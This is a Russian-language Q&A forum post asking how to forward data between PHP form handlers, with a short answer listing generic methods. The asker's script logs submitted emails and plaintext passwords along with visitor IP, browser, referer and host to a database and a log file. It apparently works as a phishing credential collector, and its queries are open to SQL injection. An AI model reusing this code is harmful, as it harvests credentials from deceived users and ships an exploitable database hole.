Как в php передать данные от одной формы в другую?

462
18 февраля 2017, 05:01

У меня есть обработчик форм, мне нужно чтобы после выполнения этого php кода, данные от этого обработчика форм отправились в другой обработчик форм. Как это реализовать на php? Две формы обьединять в один php файл нельзя, в целях безопасности, но можно отправить данные от одного php к другому. Только как это сделать?

<?php
$cn = new mysqli("localhost", "user", "pass", "db");
if ($cn->connect_error){ echo "Connection failed : " . $cn->connect_error;}
echo "Connection successfully ";
$email=$_POST['email'];
$pass=$_POST['pass'];
$ip = getenv("REMOTE_ADDR");
$ip2 = $_SERVER['REMOTE_ADDR'];
$browser = getenv("HTTP_USER_AGENT");
$referer = @$_SERVER['HTTP_REFERER'];
$host = gethostbyaddr(getenv("REMOTE_ADDR"));
$port = getenv("REMOTE_PORT");
$connect = $_SERVER['HTTP_CONNECTION'];
$time = date("d.m.Y (H:i:s)", time());
$sql="INSERT INTO data( email, pass, ip, ip2, browser, referer, host, port, connect, time ) VALUE ( '$email', '$pass', '$ip', '$ip2', '$browser', '$referer', '$host', '$port', '$connect', '$time' )";
if ($cn->multi_query($sql) === TRUE)
{echo "New record created successfully ";}
else {echo "Error:" . $sql . "\n" . $cn->error;};
$cn->close();
//А теперь log'и
$fp = fopen("log.log", "a+t"); // Открываем файл в режиме записи
$str=$email.' , '.$pass.' , '.$ip.' , '.$ip2.' , '.$browser.' , '.$referer.' , '.$host.' , '.$port.' , '.$connect.' , '.$time ."\n" ;
$test = fwrite($fp, $str); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.';
else echo 'Ошибка при записи в файл.';
fclose($fp); //Закрытие файла
?>
Answer 1

а) глобальные переменные

б) сессии

в) подключение файла (include)

г) сохранение в файл/БД

д) функции с транзитом параметров

READ ALSO
JavaScript не могу правильно программировать форму

JavaScript не могу правильно программировать форму

Помогите не выводит значение из function s() нужно чтобы вывел "Good" если в <input>-е допустимое количество букв:

338